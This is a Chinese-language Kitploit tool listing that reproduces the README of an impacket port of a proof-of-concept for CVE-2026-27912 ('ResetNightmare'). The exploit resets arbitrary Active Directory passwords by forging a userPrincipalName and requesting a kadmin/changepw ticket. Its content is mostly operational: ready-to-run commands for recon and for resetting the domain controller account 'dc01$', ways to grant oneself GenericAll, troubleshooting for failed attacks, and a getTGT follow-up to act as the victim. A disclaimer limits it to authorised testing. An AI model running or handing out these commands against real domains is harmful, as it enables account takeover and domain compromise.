Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Semperis Community 的 Invoke-ResetNightmare PoC 的 Linux/impacket 移植版本 | Kitploit
工具/GitHubGitHub/mihat2/resetnightmare-impacket
密码攻击漏洞分析漏洞利用信息收集渗透测试身份验证红队
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Semperis Community 的 Invoke-ResetNightmare PoC 的 Linux/impacket 移植版本

查看仓库
15272个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ResetNightmare — CVE-2026-27912

用于 CVE-2026-27912(“ResetNightmare”) 的 Linux / impacket 工具。通过为名为目标 sAMAccountName 的 NT_ENTERPRISE 主体请求 kadmin/changepw TGT,重置目标 Active Directory 账户的密码,所用账户(UPNUser)需具备可写入伪造 userPrincipalName 的权限。

这是 Semperis Community Invoke-ResetNightmare PowerShell 工具的 Python 移植版(参见致谢)。

⚠️ 法律免责声明

仅限授权安全测试与教育用途。 本工具会更改真实的 Active Directory 凭据,并可能导致账户被锁定。

  • 仅可对您拥有或已获得明确书面许可进行测试的系统运行(已签署的委托或您控制的实验环境)。
  • 未经授权访问计算机系统属于违法行为(例如美国 CFAA、英国《计算机滥用法》及同等法律),可能承担刑事和民事责任。
  • 作者对滥用行为不承担任何责任。本软件按“原样”提供——参见 LICENSE。如果您没有许可,请勿运行本工具。

工作原理

  1. (可选) 创建 UPNUser,自行授予 GenericAll,设置其密码并启用。
  2. 解析目标的 sAMAccountName。
  3. 设置 UPNUser.userPrincipalName = <targetSAN>(伪造的 UPN)。
  4. 以 NT_ENTERPRISE '<targetSAN>' 身份为 kadmin/changepw 发起 AS-REQ——KDC 会将企业 UPN 映射到目标,并为其签发更改密码 TGT。
  5. 清除伪造的 UPN。
  6. 使用该 TGT 执行 kpasswd 更改密码 → 设置目标的密码。
  7. 恢复 UPNUser 的原始 UPN。

选择 --upn-user

--upn-user 是您写入伪造 UPN 的账户(用户,或配合 --computer 使用的计算机)。唯一要求是您能够写入其 userPrincipalName。有三种方式可以获得该权限——与 PowerShell 原版所依赖的方式相同:

#如何获得 UPN 写入权限参数是否需要 OU?
A在您拥有 Create Child 权限的 OU 中创建账户 → 您拥有该账户 → 工具自行授予 GenericAll → 写入 UPN--create-new-path是
B一个现有账户,您已对其拥有 GenericWrite / GenericAll / WriteProperty(userPrincipalName)(无)否
C一个您拥有或对其拥有 WriteDacl 的现有账户(无直接属性写入权限)--grant-self否

因此您不一定需要控制某个 OU——路径 B 可基于对任意单个账户的委派权限工作。但您需要 A/B/C 之一。运行 --find 查看您具备哪一种。

仅有一台域计算机是不够的。 一台您是本地管理员 / 持有其哈希——但在 AD 上没有写入权限的机器——无法提供 A/B/C 中的任何一种。通过 MachineAccountQuota 创建的计算机(使用 addcomputer.py 创建到 CN=Computers)也不行:其创建者不是所有者,无法获得 UPN 写入权限,因此直接写入和 --grant-self 都会失败并返回 result 50。请使用路径 A 配合委派 OU。

安装

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

用法

操作员凭据是第一个位置参数:[domain/]username[:password]。 任何密码都可以省略,届时系统会提示你输入。

侦察——此账户可滥用哪些权限? 报告你可以写入 UPN 的账户、你可以在其中创建对象的 OU,以及 MachineAccountQuota,并附上建议的命令:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

每条发现都会打印其 via: 原因以及对象的 owner:。owner 能让人一眼区分两种计算机创建路径——委派容器计算机显示 owner: <you>(你拥有隐式 WRITE_DAC,因此 --grant-self 可用),而 MAQ / CN=Computers 计算机显示 owner: BUILTIN\Administrators(你没有该权限,因此无法使用):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

重置目标,使用一个可以写入 UPN 的账户:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

先创建 UPN 账户(需要对 OU 具有 Create Child 权限,并且需要 LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

创建计算机账户作为 UPN 账户(--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

可重写 DACL 但无法写入 UPN 的现有账户(--grant-self)。 当 --find 报告某个 --upn-user 可通过 Owner 或 WriteDacl 触达(你可以 更改其 ACL,但没有直接的属性写入权限)时,--grant-self 会先为你添加一个 GenericAll ACE, 然后攻击继续进行。仅适用于现有账户——--create-new-path 已经会为自己授予权限。

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

如果 --grant-self 本身以 result 50 失败,说明你不是该账户的所有者,且对该账户没有 WriteDacl 权限——它帮不上忙。对于你通过 addcomputer.py/MAQ 创建的计算机,这通常是常见结果: 创建者通常既不会获得所有权,也不会获得 UPN 写入权限,因此 MAQ 计算机不能用作 --upn-user。 运行 --find,选择一个被标记为 WriteProperty(userPrincipalName)、GenericWrite、GenericAll、 Owner 或 WriteDacl 的账户。

添加 -debug 可输出详细的 AS-REQ / LDAP / kpasswd 日志。

参数

参数含义
<positional>操作员凭据:[domain/]username[:password]
--target-account要重置的 sAMAccountName(计算机账户以 $ 结尾)
--target-new-password要在目标上设置的新密码
--upn-user要写入伪造 UPN 的账户(或通过 --create-new-path 创建)
--upn-user-password--upn-user 的明文密码
--computer将 --upn-user 视为机器账户
--create-new-path <DN>先在其中创建 --upn-user 的 OU/容器(需要 LDAPS)
--grant-self在写入 UPN 之前,先授予操作员对你拥有的现有 --upn-user 的 GenericAll 权限(需要所有权 / WriteDacl)
--find侦察:报告可滥用的账户/OU(含每个发现的 owner)+ 建议命令,然后退出
--list-ous列出 OU/容器并退出(用于选择有效的 --create-new-path)
--aes-key <hex>--upn-user 的 AES 密钥,用于 AS-REQ 而非密码
--upn-user-hash <NT>--upn-user 的 NT 哈希(或 LM:NT),用于 AS-REQ 而非密码
-k, --kerberosKerberos(SASL/GSSAPI)LDAP 绑定(使用 KRB5CCNAME)
-H LM:NTPass-the-hash LDAP(NTLM)绑定
--no-pass不提示输入密码(使用 -k / KRB5CCNAME)
--dc-hostDC 主机名/FQDN(用于 Kerberos SPN)
--dc-ipDC IP 地址
--no-ssl明文 LDAP/389(与 --create-new-path 不兼容)
--supported-encryption首选加密类型,仅供参考(默认 aes256)
-debug详细日志

省略密码时会以交互方式提示输入。

故障排除

--create-new-path 失败:

症状原因修复
result 50, insufficientAccessRights该 OU 存在,但你没有对其的 Create Child 权限。使用你有写入权限的 OU(--list-ous / --find),或去掉 --create-new-path,通过 --upn-user 滥用现有账户。
result 32, noSuchObject — best match: DC=corp,DC=local该 DN 的父链不存在(DN 不完整或为猜测)。使用 --list-ous 枚举并粘贴完整的嵌套 DN。OU 是嵌套的;仅凭名称并不是其路径。
密码步骤出现 result 53, unwillingToPerform在非 TLS 通道上写入 unicodePwd,或密码相对于策略过弱。保持 LDAPS(不要传 --no-ssl);使用符合策略的密码。

“Setting a fake UPN” 时出现 result 50, insufficientAccessRights:你的操作员对 --upn-user 没有 WriteProperty(userPrincipalName) 权限。如果你能重写该账户的 DACL (你是其 Owner 或拥有 WriteDacl),请添加 --grant-self 先授予自己 GenericAll 权限。如果 --grant-self 也返回 result 50,说明你两者都没有——请用 --find 选择其他账户。

你通过 addcomputer.py/MAQ 创建的计算机在这里不是解决办法:MAQ 创建者 通常既不会获得所有权,也不会获得 WriteProperty(UPN),因此 UPN 写入和 --grant-self 都会以 result 50 失败。不要依赖 MAQ 来提供 --upn-user。

注意:

  • 默认启用 LDAPS。 AD 仅接受通过 TLS 写入 unicodePwd,因此 --create-new-path 需要它。仅在只读/仅 UPN 路径中使用 --no-ssl。
  • --find 仅报告授予你或你所在组的允许 ACE(以及对象 所有权和 MachineAccountQuota);拒绝 ACE 和跨域成员关系不会被 完整评估。空结果并不能证明不存在路径——使用前请先验证。

成功后

该工具会打印后续步骤,用于以目标身份获取可用票据:

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

致谢

  • Semperis Community — ResetNightmare — 原始研究以及本项目所移植的 Invoke-ResetNightmare PowerShell 工具。
  • impacket — Kerberos 和 ldaptypes 基础组件。
  • ldap3 — LDAP 客户端。

独立的社区移植版本;与 Semperis 无关联,亦未获其认可。

许可证

MIT © 2026 mihat2。

下载工具